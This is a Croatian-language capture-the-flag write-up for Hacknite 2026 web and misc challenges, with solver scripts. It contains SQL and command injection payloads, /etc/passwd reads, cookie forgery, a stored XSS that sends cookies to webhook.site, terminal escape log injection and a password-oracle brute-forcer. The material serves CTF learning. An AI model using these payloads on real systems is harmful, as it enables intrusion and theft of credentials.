This is an old revision of the document!
Table of Contents
Hacknite2026 rješenja
U ovom članku su rješenja zadataka sa Hacknite 2026 natjecanja. Zadatci su dostupni na platformama:
https://platforma.hacknite.hr/
https://platforma.hackultet.hr/
Web sigurnost
FragmentSync Solutions
Možete li sakupiti sve dijelove flaga? http://chal.hacknite.hr:15003/
Korištenjem razvojnih alata preglednika (F12 gumb), mogu se pronaći 3 dijela flaga, kao komentari u index.html, script.js i style.css.
Za zadnji dio flaga, na stranici se nalazi hint:
Automated bots and scrapers: please refer to our default crawl permissions before indexing.
Dozvole za web crawlere su zapisane u robots.txt datoteci. Posjetom te putanje:
http://chal.platforma.hacknite.hr:14066/robots.txt
Vidi se putanja do zadnjeg dijela flaga:
User-agent: * Disallow: /secret-internal-debug-41245346456
Bash skripta koja rješava zadatak:
#!/usr/bin/env bash set -euo pipefail HOST="chal.platforma.hacknite.hr" PORT="14066" CSS="/style.css" JS="/script.js" ROBOTS="/robots.txt" f1=$(curl --fail-with-body "http://${HOST}:${PORT}" | grep -i part | cut -b 16-) f2=$(curl --fail-with-body "http://${HOST}:${PORT}${CSS}" | grep -i part | cut -b 11-) f3=$(curl --fail-with-body "http://${HOST}:${PORT}${JS}" | grep -i part | cut -b 11-) path_line=$(curl --fail-with-body "http://${HOST}:${PORT}${ROBOTS}" | grep -i disallow | cut -b 11-) f4=$(curl --fail-with-body "http://${HOST}:${PORT}${path_line}/" | grep -i part | cut -b 15-) echo "import re;x='$f1$f2$f3$f4';print(re.sub(r'[ \:\*Ppart\!\/\-\<\>]', '', x))" | python
SQLogin
Stranica ima dostupnu samo login formu, možete li se ulogirati? Napomena: bruteforce nije potreban. http://chal.platforma.hacknite.hr:14073/
Naziv zadatka je “SQLogin”, što se može shvatiti kao hint da je u zadatku relevantan “SQL”. Pregledom stranice zadatka vidi se tekst:
Stack: Flask + SQLite
SQLite je baza podataka koju zadatak koristi pa se može i znati sintaksa SQL upita za tu bazu podataka.
Pokušaj osnovne SQL injekcije prilagođene za SQLite:
Username: ' OR 1=1 -- Password: a
Prijava je uspješna za korisnika “admin”, jer je administrator jedini korisnik u bazi podataka, a flag je prikazan na stranici.
Document Portal
Dostupna je stranica za pregled i čitanje dokumenata, možete li pročitati flag? http://chal.platforma.hacknite.hr:14065/
Odabirom opcije
List files
na stranici, prikazuju se dostupne datoteke u formatu po kojem se može zaključiti da je dan ispis komande
ls -lah
Unosom neispravnog naziva datoteke, dobiva se ispis greške:
cat: nepostojecaDatoteka: No such file or directory
Vidi se da se korisnički unos prosljeđuje kao argument naredbe cat.
Ako se za ime datoteke koja se čita unese /etc/passwd, dobiva se ispis svih korisnika sustava:
... nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin web:x:1000:1000::/home/web:/bin/bash readonly-user:x:1001:1001::/home/readonly-user:/bin/bash ctf-flagholder::1002:1002::/home/ctf-flagholder:/bin/bash
Vidi se da postoji korisnik ctf-flagholder. Također, ovaj korisnik nema x na mjestu passworda, što znači da za korisnika nije postavljen password.
Pokušajem command injectiona koristeći točku-zarez:
.;whoami
vidi se da je command injection uspješan:
cat: .: Is a directory readonly-user
Kako bi se riješio zadatak, potrebno je koristiti su naredbu kako bi se promijenio korisnik u ctf-flagholder, te iz njegovog home direktorija pročitati flag, no ovo je potrebno izvršiti unutar jedne naredbe korištenjem -c zastavice su naredbe:
.;su ctf-flagholder -c "cd; pwd; ls; cat ./*"
Izvršavanjem ove naredbe prikazuje se sadržaj datoteke flag.txt:
/home/ctf-flagholder flag.txt CTF2026[234...]
Prazni Profili
Naizgled prazna stranica s profilima, no ipak se tu krije nešto više, možete li otkriti što? http://chal.platforma.hacknite.hr:14069
Nakon registracije i prijave, stranica automatski preusmjeri na prikaz vlastitog profila:
http://chal.platforma.hacknite.hr:14069/<username> <code> Odlaskom na putanju koja bi predstavljala profil administratora: <code> http://chal.platforma.hacknite.hr:14069/admin
Prikazuje se stranica s porukom:
Error 403: only user agent allowed: adminBrowser
Korištenjem alata Burp Suite, neke ekstenzije preglednika ili pisanjem CURL zahtjeva direktno može se namjestiti User-Agent zaglavlje zahtjeva u vrijednost adminBrowser:
curl -i \ -H "Cookie: auth=<auth cookie vrijednost>" \ -A "adminBrowser" \ "http://chal.platforma.hacknite.hr:14069/admin"
Slanjem ovog zahtjeva dobiva se poruka:
Access Denied! You are currently authenticated as <username>. You do not have permission to view admin's private data.
Može se primijetiti da je vrijednost auth kolačića u base64 formatu. Ako se dekodira, dobiva se njen sadržaj:
$ echo -n "dXNlcm5hbWU9a29yaXNuaWsx" | base64 -d username=korisnik1
Vidi se da ova vrijednost auth kolačića ne sadrži potpis niti je nekriptirana. Može se izračunati base64 vrijednost za postavljanje korisničkom imena u admin.
$ echo -n "username=admin" | base64 dXNlcm5hbWU9YWRtaW4=
Postavljanjem dobivene base64 vrijednosti za auth kolačić i korištenjem adminBrowser vrijednosti za User-Agent se ponovno može poslati CURL zahtjev:
curl -i \ -H "Cookie: auth=dXNlcm5hbWU9YWRtaW4=" \ -A "adminBrowser" \ "http://chal.platforma.hacknite.hr:14069/admin"
U odgovoru na poslani zahtjev je ispisan flag:
...
<div class="alert alert-success mt-3">
<h2 class="alert-heading fw-bold">Admin Access Granted!</h2>
<hr>
<p class="mb-0 fs-4">Flag: CTF2026[486...]</p>
</div>
Sportske Pohvalnice
Rješenje zadatka dostupno je ovdje:
Permission Security Check System Showcase
Rješenje zadatka dostupno je ovdje:
Pro-ThemeBuilder Premium
Navodno je moguće napraviti theme koji će nekako doći do flaga. http://chal.platforma.hacknite.hr:14070/
Uz zadatak je dan izvorni kod.
U export_theme funkciji, ako dođe do greške pri pretvaranju JSON objekta kojim je definiran theme u CSS datoteku, stvara se greška.
Do greške dolazi ako je ključ u rječniku neispravan te se taj ključ direktno navodi u tekstu greške:
for class_name, properties in theme_data.items(): if not re.match(r'^[a-zA-Z0-9_-]+$', class_name): error_msg = f"Compiler Error: '{class_name}' is an invalid CSS class name. Alphanumeric only." return Response(error_msg, status=400, mimetype="text/plain")
Greška se vraća na klijentsku stranu, gdje se tekst greške direktno uključuje u HTML s pomoću ``innerHTML`` u JavaScript funkciji loadThemeFromAPI:
<script>
...
async function loadThemeFromAPI(uuid) {
const errBanner = document.getElementById('theme-error-banner');
const styleTag = document.getElementById('dynamic-theme-styles') || document.getElementById('live-preview-styles');
document.getElementById('live-preview-styles').innerHTML = '';
errBanner.style.display = 'none';
errBanner.innerHTML = '';
try {
let response = await fetch(`/api/export/${uuid}`);
let responseText = await response.text();
if (response.ok) {
styleTag.innerHTML = responseText;
} else {
errBanner.style.display = 'block';
errBanner.innerHTML = `<div class="d-flex align-items-center">
<span class="fs-4 me-3">🚨</span>
<div><strong>API Compilation Failed:</strong><br>${responseText}</div>
</div>`;
}
} catch (e) {
console.error("Network error:", e);
}
}
...
</script>
Uzevši u obzir da se tekst ključa u rječniku koji se konstruira iz JSON objekta za korisnikov theme direktno navodi u tekstu greške koja se vraća na klijentsku stranu, a na klijentskoj strani se također direktno ispisuje bez pročišćivanja:
errBanner.innerHTML = `...${responseText}...`;
Potencijalno je moguć XSS napad.
Kada korisnik pohranjuje theme na server, može u JSON objektu koji se šalje na poslužitelj postaviti XSS payload koji će se parsirati kao ključ rječnika. Na taj način je istovremeno osigurano i da će sam payload uzrokovati grešku zbog koje će se tekst greške poslati na klijentsku stranu te istovremeno sam sadržaj payloada izvršava napad.
Jedna od tehnika napada je dodavanje HTML elementa slike tako da dođe do greške te se JavaScript kod definira kao kod koji se izvršava pri događanju greške.
<img src=x onerror=<JS payload>>
<code>
Kako bi se osiguralo da se payload pri parsiranju pozicionira kao ključ rječnika, potrebno je strukturirati theme JSON kao:
<code JSON>
{
"<img src=x onerror=\"<JS payload>\">": {
"color": "red",
"background-color": "black"
}
}
Nakon toga se ovaj theme s payloadom prijavljuje adminu korištenjem report funkcionalnosti na frontendu ili izravno slanjem POST zahtjeva na /report endpoint s theme UUID vrijednošću pohranjenog napada.
JavaScript payload jednostavno treba pročitati vrijednost document.cookie, enkodirati i eksfiltrirati je kao parametar unutar GET zahtjeva na stranicu koju napadač kontrolira, npr. webhook ili reqbaskets.
fetch('https://webhook.site/<TOKEN>/?f='+encodeURIComponent(document.cookie))\
Puna konstrukcija payloada:
callback_url = ( f"{webhook_url}/?f=" ) xss_key = ( f'<img src=x onerror="fetch(\'{callback_url}\'+' 'encodeURIComponent(document.cookie))">' ) payload_dict = { xss_key: { "color": "red", "background-color": "black", } } json_payload = json.dumps(payload_dict) <code> Automatizirana skripta koja rješava zadatak na opisan način: <code python> import requests import time import secrets import os import json CHALLENGE_URL = "http://chal.platforma.hacknite.hr:14070" RBASKET_API = "http://requestbaskets.platforma.hacknite.hr/api/baskets" RBASKET_Url = "http://requestbaskets.platforma.hacknite.hr" CONFIG_FILE = "basket_config.txt" user, pwd = "u_bf7f539f6cabd9ef70346ef7", "p_bf7f539f6cabd9ef70346ef7" RECENT_TIME_DIFF = 3 * 60 * 1000 class BasketManager: def __init__(self, api_url=RBASKET_API, config_file=CONFIG_FILE): self.api_base = api_url self.config_file = config_file self.name = self.token = self.exfil_url = None if not self._load_and_verify(): self.create_basket() def _load_and_verify(self): if os.path.exists(self.config_file): try: with open(self.config_file, "r") as f: self.name, self.token = f.read().strip().split(":") r = requests.get( f"{self.api_base}/{self.name}", headers={"Authorization": self.token}, timeout=5 ) if r.status_code == 200: self.exfil_url = f"{RBASKET_Url}/{self.name}" print(f"[basket] Loaded existing basket: {self.name}") return True except: pass return False def create_basket(self): self.name = "solv-" + secrets.token_hex(4) r = requests.post( f"{self.api_base}/{self.name}", json={"capacity": 200}, timeout=10 ) print("[basket] Create status:", r.status_code) print("[basket] Create response:", repr(r.text[:500])) if r.status_code != 201: raise RuntimeError(f"Basket creation failed: HTTP {r.status_code}") self.token = r.json().get("token") if not self.token: raise RuntimeError("Creation response contains no token") self.exfil_url = f"{RBASKET_Url}/{self.name}" check = requests.get( f"{self.api_base}/{self.name}", headers={"Authorization": self.token}, timeout=10 ) print("[basket] Immediate verification:", check.status_code) print("[basket] Verification body:", repr(check.text[:300])) if check.status_code != 200: print("New basket creation probably failed") with open(self.config_file, "w") as f: f.write(f"{self.name}:{self.token}") def get_requests(self): try: r = requests.get( f"{self.api_base}/{self.name}/requests", headers={"Authorization": self.token}, timeout=5 ) if r.status_code not in (200, 204): print( "[basket] HTTP status:", r.status_code, "URL:", r.url, "Body:", repr(r.text[:300]) ) return [] if r.status_code == 204: return [] return r.json().get("requests", []) except (requests.RequestException, ValueError) as e: print("[basket] Polling error:", repr(e)) return [] def solve(): basket = BasketManager() session = requests.Session() session.post( f"{CHALLENGE_URL}/register", data={"username": user, "password": pwd} ) session.post( f"{CHALLENGE_URL}/login", data={"username": user, "password": pwd} ) print(f"[*] Authenticated as {user}") xss_key = f"<img src=x onerror=\"fetch('{basket.exfil_url}?f='+document.cookie)\">" print(xss_key) payload_dict = { xss_key: {"color": "red", "background-color": "black"} } json_payload = json.dumps(payload_dict) print("[*] Uploading JSON Theme with payload...") r = session.post( f"{CHALLENGE_URL}/api/themes", json={"theme_json": json_payload} ) if r.status_code != 200: print(f"[-] Failed to upload theme. Server said: {r.text}") return target_uuid = r.json().get("uuid") print(f"[+] Stored theme with payload - UUID: {target_uuid}") print(f"[*] Dispatching Admin Bot to /dashboard?theme={target_uuid} ...") session.post( f"{CHALLENGE_URL}/report", data={"uuid": target_uuid} ) print("[*] Waiting for bot execution...") now = int(time.time() * 1000) for _ in range(15): for req in basket.get_requests(): if abs(now - req["date"]) >= RECENT_TIME_DIFF: continue query_str = str(req.get("query", "")) if "CTF" in query_str: print(f"\n[+!] FLAG FOUND:\n{query_str}") return time.sleep(2) print(".", end="", flush=True) print("\n[-] Exploit failed.") if __name__ == "__main__": solve()
The Watcher
Možete li se "ušuljati" pored zaštitara koji gleda logove i provjerava prijave? Napomena: Ako koristite bruteforce, ograničite zahtjeve na 1 zahtjev po sekundi. http://chal.platforma.hacknite.hr:14074/
Uz zadatak je dan izvorni kod.
Dostupna je registracija i prijava. Pri prijavi zapisuju se informacije o prijavi u auth.log. Svaka linija teksta predstavlja jednu prijavu. Boja zapisa razlikuje se ovisno o tome je li se prijavio ADMIN ili USER. Zapisuje se IP, user agent, ID prijave te prvih 16 znakova SHA-256 sažetka IP adrese i ID-a prijave kao checksum.
Nakon toga se korisniku pokazuje dashboard, gdje su podatci korisnika “end to end” šifrirani s ključem deriviranim od korisnikove lozinke. Kako bi ih korisnik dešifrirao, mora ponovno unijeti svoju lozinku na korisničkoj strani. FLAG je pohranjen kao podatci korisnika admin.
“Watcher” bot pregledava auth.log kako bi odobrio ili odbio prijave. Dopušta prijavu administratora jedino ako dolazi s lokalne adrese.
Ključan detalj je da “watcher” bot pregledava auth.log koristeći terminal emulator pyte.
Prva ranjivost je način provjere lozinke:
pwd = request.form.get('password', '') ... if fnmatch.fnmatch(db_password, pwd): endToEndKey = [a ^ b for a, b in zip(db_eekeyenc, pwd.encode()[::-1], strict=True)]
Ako se za password pošalje samo wildcard *, if uvjet će biti zadovoljen, no zip funkcija s argumentom strict=True bacit će pogrešku ako duljine poslane lozinke i lozinke iz baze nisu jednake.
Ova ranjivost se koristi kako bi se saznala administratorska lozinka, tehnikom “pametnog” bruteforcea gdje se otkriva znak po znak lozinke.
Lozinka:
* -> vraćen error zbog zip(.. strict=True)
a* -> kriva lozinka
...
D* -> vraćen error zbog zip(.. strict=True),
prvi znak lozinke je "D"
Da* -> kriva lozinka
...
Dg* -> vraćen error zbog zip(.. strict=True),
prva dva znaka lozinke su "Dg"
Dga*
....
<code>
Nakon što se sazna duljina lozinke i svi znakovi osim zadnjeg, potrebno je na isti način pronaći zadnji znak bez korištenja zvjezdice.
Python skripta koja koristi ovu tehniku napada za otkrivanje lozinke administratora:
<code python>
password = ""
foundPass = False
while True:
r = requests.post(f"{URL}/login", data={"username": "admin", "password": password})
if foundPass:
break
for c in chars:
guess = password + c + "*"
print(guess)
r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
# zip(strict=True) crashed
if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text:
password += c
sys.stdout.write(f"\r[+] Found: {password}")
sys.stdout.flush()
break
if "Login Rejected by Security Watcher." in r.text:
foundPass = True
password = guess
print("Pass without last char: ", password)
break
passFinalAtt = password[:-1]
passFinal = ""
for c in chars:
guess = passFinalAtt + c
print(guess)
r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
if "Login Rejected by Security Watcher." in r.text:
passFinal = guess
print("Final pass: ", passFinal)
break
password = passFinal
Kad se zna lozinka administratora, i dalje se nije moguće prijaviti kao administrator zato što watcher bot odbija prijavu.
U ovom dijelu sustava također postoji ranjivost jer se user agent u zahtjevu korisnika direktno bez provjere ili pročišćivanja dodaje u liniju prijave u auth.log.
Ovaj zapisnik se prikazuje u emuliranom terminalu, tako da se mogu koristiti specijalni znakovi i sekvence terminala za manipuliranje linijom prijave koju će watcher bot parsirati.
Korištenjem kontrolnog znaka \r pokazivač terminala se može pomaknuti na početak linije i tako prepisati tekst s početka. Ovako se može “prevariti” bota da je pokušaj prijave u administratorov račun zapravo prijava običnog korisnika. Pošto ID prijave dolazi nakon mjesta u liniji koda gdje je zabilježen user agent, ID prijave neće biti prepisan te će bot odobriti prijavu u administratorov račun, parsirajući je kao prijavu običnog korisnika.
Potrebno je korištenjem user agent zaglavlja u zahtjevu pokušaja prijave u administratorski račun prepisati početak linije zapisnika koja predstavlja prijavu tako da se boja linije promijeni u zelenu i da se prepiše user vrijednost u guest. Nakon toga je potrebno ostatak linije također ispravno napisati kako bi linija i dalje bila u ispravnom formatu, a checksum sastavljen od IP i login ID vrijednosti i dalje bio validan.
Format user agent vrijednosti koja koristi opisanu tehniku napada:
user_agent_payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx"
Korištenjem ovih dviju opisanih tehnika može se napisati automatizirana skripta koja rješava zadatak:
import requests import string import sys import time import urllib.parse import re import json URL = "http://chal.platforma.hacknite.hr:14074" chars = string.ascii_letters + string.digits while True: try: requests.get(URL, timeout=2) break except requests.exceptions.ConnectionError: time.sleep(1) print("[+] Server online") # --------------------------------------------------------- # PHASE 1: ADMIN PASS BRUTEFORCE # --------------------------------------------------------- print("\n[*] Phase 1: Bruteforcing admin pass") password = "" foundPass = False while True: r = requests.post(f"{URL}/login", data={"username": "admin", "password": password}) if foundPass: break for c in chars: guess = password + c + "*" print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) # zip(strict=True) crashed if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text: password += c sys.stdout.write(f"\r[+] Found: {password}") sys.stdout.flush() break if "Login Rejected by Security Watcher." in r.text: foundPass = True password = guess print("Pass without last char: ", password) break passFinalAtt = password[:-1] passFinal = "" for c in chars: guess = passFinalAtt + c print(guess) r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess}) if "Login Rejected by Security Watcher." in r.text: passFinal = guess print("Final pass: ", passFinal) break password = passFinal print(f"\n[+] Full Admin Password: {password}") # --------------------------------------------------------- # PHASE 2: TERMINAL LOG INJECTION -> User-Agent # --------------------------------------------------------- print("\n[*] Phase 2: Log Injection with URL-Encoded User-Agent Header") payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx" encoded_payload = urllib.parse.quote(payload) headers = {"User-Agent": encoded_payload} data = {"username": "admin", "password": password} session = requests.Session() r = session.post(f"{URL}/login", headers=headers, data=data) if r.status_code == 200: print("[+] Terminal injection successful, bypassed Watcher.") dash = session.get(f"{URL}/dashboard").text # --------------------------------------------------------- # PHASE 3: CLIENT-SIDE VAULT DECRYPTION # --------------------------------------------------------- print("\n[*] Phase 3: E2E Crypto...") try: enc_vault_hex = re.search(r'const encryptedVaultHex = "(.*?)";', dash).group(1) e2e_key = json.loads(re.search(r'const e2eKey = (\[.*?\]);', dash).group(1)) pwd_bytes = password.encode() pwd_rev = pwd_bytes[::-1] e2e_base = [] for i in range(len(e2e_key)): e2e_base.append(e2e_key[i] ^ pwd_rev[i] ^ pwd_bytes[i]) # Decrypt vault enc_vault = bytes.fromhex(enc_vault_hex) decrypted = "" for i in range(len(enc_vault)): decrypted += chr(enc_vault[i] ^ e2e_base[i % len(e2e_base)]) print(f"\n[+] FLAG: {decrypted}") except Exception as e: print(e) print(dash) else: print("[-] failed.")
SandyFileBox
Testirajte interaktivnu platformu koja implementira glatku integraciju python sandboxa i file fetch sustava. http://chal.platforma.hacknite.hr:14071/
Uz zadatak je dan izvorni kod.
Program implementira sandbox izolirano okruženje
u kojem se može izvršavati vrlo jednostavan Python kod limitiran na definiranje varijabli i matematičke operacije. Također se mogu čitati lokalne datoteke s poslužitelja tako da se sadržaj i metapodatci datoteke učitaju u sandbox.
Postoje dva endpointa za obrađivanje korisničkih zahtjeva, /run i /readfile. Oba endpointa bilježe sve argumente iz zahtjeva (i one koji nisu predviđeni da se nalaze u zahtjevu ako se aplikacija koristi samo posluženog frontenda) i te argumente prosljeđuju na daljnju obradu. Endpoint run prosljeđuje korisničke argumente u processInput funkciju, a readfile endpoint u funkciju readfile koja ih potom također prosljeđuje u processInput.
def processInput(session_id: str, name: str, value: str | None = None, operation: int | str = 0, **kwargs: Any) -> str: sanitize_input(name) if value is None: return name sanitize_input(value, allow_short_digits=True) try: op_idx = int(operation) except (TypeError, ValueError): raise ValueError("Invalid operation type") op_map = {0: "=", 1: "+=", 2: "-=", 3: "*=", 4: "//="} if op_idx not in op_map: raise ValueError("Unsupported operation requested") line = f"{name}{op_map[op_idx]}{value}" validate_and_execute_python(line, session_id) return line
Funkcija prvo izvršava sanitize_input nad argumentom name te vraća tu vrijednost ako value nije definiran. Ako je value definiran, funkcija od korisničkog unosa sastavlja string za izvršavanje koji se potom prosljeđuje funkciji validate_and_execute_python. Unutar ove funkcije se provjeravaju i provode sva ograničenja koja osiguravaju da se ne može izvršiti maliciozan kod. Ako su sva ograničenja i provjere zadovoljene, kod se izvršava.
To znači da je moguće poslati zahtjev na endpoint readfile koji ima definiran predviđeni argument name, ali i argument value, te će se rezultat izvršavanja koristiti kao ime datoteke koje se čita. U tom slučaju će se napraviti dodatna provjera nad rezultatom checkb64. Ova provjera u uobičajenom načinu rada ima vrijednost argumenta firstFunc postavljenu na 0, čime se definira da provjera prvo radi base64 encoding a potom base64 decoding te ako se ne dogodi greška tijekom tog procesa vraća rezultat.
No firstFunc se također može postaviti kao argument u korisničkom zahtjevu na endpoint readFile pri čemu se argument iz zahtjeva koristi u funkciji, čime se obrće redoslijed operacija. Tada se prvo izvršava base64 decode a potom base64 encode.
Za dekodiranje se ne koristi biblioteka, nego je implementirano kodom u funkciji stable_from_base64 na neuobičajen način, gdje je uobičajena vrijednost argumenta strict_mode postavljena na False.
Funkcija u ovom načinu procesiranja koda ne provjerava ispravnost položaja padding znaka = prema standardnim Base64 pravilima. Ovo omogućuje da se znak = koji se inače koristi na kraju base64 enkodiranog sadržaja kao padding nalazi na nepredviđenim mjestima bez pojave greške. To se može iskoristiti za manipuliranje postupkom dekodiranja na nepredviđeni način.
Ako se pošalje zahtjev s definiranim argumentima name i value te operacijom pridruživanja, na kraju će biti konstruiran naziv datoteke koja se pokušava dohvatiti u obliku
<name>=<value>
To se može iskoristiti tako da se name i value definiraju kao dvije polovice base64 enkodiranog sadržaja, između kojih se nalazi =. Zbog toga će rezultat operacija base64 enkodiranja i dekodiranja biti različit od prvotne vrijednosti. Kako bi ovaj redoslijed operacija bio postignut, potrebno je postaviti firstFunc u vrijednost 1.
Cilj je definirati vrijednosti u zahtjevu tako da nakon što se obavi base64 provjera, rezultat provjere bude putanja do flag datoteke koja se nalazi na putanji:
data/internal/stage/private/data/flag
Datoteke se već automatski pretražuju iz direktorija data, tako da je cilj konstruirati string internal/stage/private/data/flag.
Payload koji kad se dekodira sa stable_from_base64 funkcijom u kodu te ponovno reenkodira daje traženu putanju je:
ins=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA
Da bi se konstruirao ovaj string kao naziv tražene datoteke i osigurao potreban redoslijed operacija dekodiranja i enkodiranja, potrebno je poslati zahtjev u obliku:
.../readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1
Tijekom provjere ovog zahtjeva kao konstruiranog Python koda, Xq52pf7LWoHv6a4r2rXv3WrWv35WoA će se tretirati kao ime varijable koja se pridružuje varijabli ins, pa je zato potrebno prethodno poslati zahtjev kojim se osigurava da varijabla neće biti nedefinirana:
.../run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21
Posljednjim se zahtjevom dohvaća sadržaj pročitane datoteke:
.../run?name=lastfilecontent
Automatizirana skripta koja rješava zadatak na opisani način:
#!/usr/bin/env bash HOST="chal.platforma.hacknite.hr" PORT=14071 COOKIE_JAR="$(mktemp)" echo "=== 1st request ===" curl -v \ -c "$COOKIE_JAR" \ "http://${HOST}:${PORT}/run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21" echo echo "=== Cookies saved ===" cat "$COOKIE_JAR" echo echo "=== 2nd request ===" curl -v \ -b "$COOKIE_JAR" \ "http://${HOST}:${PORT}/readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1" echo "=== 3rd request ===" curl -v \ -b "$COOKIE_JAR" \ "http://${HOST}:${PORT}/run?name=lastfilecontent" | grep "CTF" rm -f "$COOKIE_JAR"
Local Flag Hosting
Rješenje zadatka dostupno je ovdje:
Razno
Random Network Nonsense 1
Možete li rekonstruirati kako ulazi putuju kroz mrežu? Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14055
Uz zadatak je dan izvorni kod.
Spajanjem na zadatak dostupne su opcije za unos proizvoljnog teksta za koji se dobije izlaz, unos teksta na odabranim ulazima i dobivanje izlaza teksta s flagom.
[SYSTEM] Booting Switchyard Controller... [SYSTEM] Generating network candidate... [SYSTEM] Network validated. Channels: 7 -> 8 === THE PERMUTATION SWITCHYARD === Queries remaining: 30 1. Get Flag Text Output 2. Inject Custom Data (Sequential) 3. Inject Custom Data (Per Entrance) 4. Exit > 1 [CONTINUOUS OUTPUT] IYOZIOdCAgAyWX1SERQDAYWjRhx0SgQ1NdMQNbbTA0FgnXR2Q5NxIIzGswFhgwRgNIMYNcYGgyFyWX5WAANjMZWmUz5z1vItYONNIIaGckFnXGEGVYO4Nd0WFuVgG0M0dNIZdZYD4gk1WGAGFgYiVYCXVnNyj0gtIIJddWSGGTFFgFz1jky5ZcIIIGXGGzlFmFDhlyl5cZFYOGWXiDBJh01hglxdZIdIMGWC2CFAGYz0lxzgdNlMXXjXIQgUnz35aXBgYDZ5YT05Yy1=bTV5 [PER EXIT OUTPUT] Exit_0: IAERNAQsNgAUYcVFd4FVIWF1ZGlhcGBhZGF0dXIn Exit_1: YgRhd05wIyAzOkYuNggnISFjcXFlZWJgIWAlNXQz Exit_2: OAQxMFNFMFN5NFOVIkYN Exit_3: ZyD0QgxhYyjzNn4gZ1iyJGgkIGmyFXhldCGxljg3aXBgYDZ5YT05Yy1=bTV5 Exit_4: IWASNnIgNWM1IXNGdWVjdGFyIGFlYi0xI2YzMXU5 Exit_5: OXYgbXIwcXZvIGd0ZGY0 Exit_6: d1WQbRzRY5WIaE0MYACgdTz5IzD5OD1dMCzg Exit_7: CSj1T2GgGWmtGGW0DGXt
Pregledom koda vidi se da se izlaz s flagom generira tako da se uzmu nasumične Lorem ipsum riječi i brojevi te se flag doda na nasumično mjesto u tekstu. Onda se cijeli tekst enkodira u base64 i prolazi kroz nasumično generiranu mrežu te se izlaz vraća korisniku.
Pregledom koda generiranja mreže, pri svakoj konekciji je generirana nova nasumična mreža koja je vrlo kompleksna i teška za rekonstruirati. Mreža se generira od više vrsta čvorova koji različito procesuiraju ulaze, ali je mreža determinantna, za isti ulaz uvijek daje isti izlaz. Također, same vrijednosti znakova koji prolaze kroz mrežu ne utječu na procesuiranje, što znači da će dva ulaza iste duljine biti procesuirana na isti način.
Ako se unese proizvoljan unos iste duljine kao i tekst s flagom, mreža ga procesuira na isti način, tako da su iste pozicije ulaza u mrežu premještene na iste pozicije izlaza iz mreže.
U slučaju kad se šalje unos iste duljine kao i tekst s flagom, mreža se može gledati kao samo jedan p-box koji mijenja pozicije bajtova ulaza.
U zadatku je dopušteno poslati 30 zahtjeva. Skup dozvoljenih znakova je definiran funkcijom:
def is_printable(s): return all(c in string.printable for c in s)
čime je dozvoljeno 100 različitih znakova:
>>> len(string.printable) 100
kako bi se pronašlo bijektivno mapiranje ulaznih pozicija na izlazne pozicije koje se koristilo za tekst s flagom, mogu se slati unosi u kojima je svaki znak jedinstven, odnosno samo se jednom pojavljuje u tekstu, osim jednog znaka koji se ponavlja kako bi duljina unosa bila ista kao duljina izlaza teksta s flagom.
Nakon toga za svaki jedinstveni znak u unosu, njegova dobivena pozicija u izlazu direktno otkriva mapiranje ulazne pozicije na izlaznu poziciju koja se koristila i za tekst s flagom.
Ilustracija:
Ulaz: abcdeffffffffff Izlaz: ffafdfefffbfcff znak a otkriva mapiranje: ulaz[0] -> izlaz[2] znak b otkriva mapiranje: ulaz[1] -> izlaz[10] znak c otkriva mapiranje: ulaz[2] -> izlaz[12] ...
Uzevši u obzir broj zahtjeva i broj različitih dopuštenih znakova, jednostavno je riješiti zadatak ovom tehnikom.
Skripta koja rješava zadatak na opisani način:
#!/usr/bin/env python3 from pwn import * import string, base64, re, sys HOST = "chal.platforma.hacknite.hr" PORT = 14055 io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT) def run(data): io.sendline(b"2") io.recvuntil(b"Enter sequential data: ") io.sendline(data.encode()) io.recvuntil(b"[CONTINUOUS OUTPUT]\n") out = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") return out io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"[CONTINUOUS OUTPUT]\n") target = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") n = len(target) chars = string.ascii_letters + string.digits + string.punctuation.replace("~", "") fill = "~" plain = ["?"] * n for start in range(0, n, len(chars)): probe = fill * start + chars[:min(len(chars), n-start)] + fill * (n-start-min(len(chars), n-start)) out = run(probe) for c in chars[:min(len(chars), n-start)]: plain[start + chars.index(c)] = target[out.index(c)] b64 = "".join(plain) print(b64) text = base64.b64decode(b64).decode() print(text) print(re.search(r"CTF\S+", text).group()) io.close()
Random Network Nonsense 2
Možete li jako efikasno rekonstruirati kako ulazi putuju kroz mrežu? Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14056
Uz zadatak je dan izvorni kod.
Kod ovog zadatka je isto kao prethodni uz par glavnih razlika, nasumično je odabran broj ulaza i izlaza iz mreže iz drugačijeg raspona brojeva, koristi se više nasumičnih Lorem ipsum za generiranje flag teksta i glavna razlika je da su dostupna samo 3 zahtjeva.
Prvi zahtjev mora biti iskorišten da se sazna flag tekst i njegova duljina, što ostavlja samo dva zahtjeva za rekonstrukciju mapiranja ulaznih u izlazne pozicije.
Prethodna tehnika rješavanja više nije moguća, jer se s dva zahtjeva i 100 različitih dopuštenih znakova može saznati samo 198 pozicija, a flag text u ovom zadatku je u prosjeku duži od 500 znakova. Pošto je tekst prvo enkodiran u base64 i tek onda izmiješan, čak i da se sazna 40% mapiranih pozicija, dio originalnog teksta koji se može iz toga saznati je znatno manji, jer se mora rekonstruirati 4 uzastopna znaka ulaza na poziciji koja je višekratnik broja 4 kako bi se taj isječak teksta u base64 formatu mogao dekodirati.
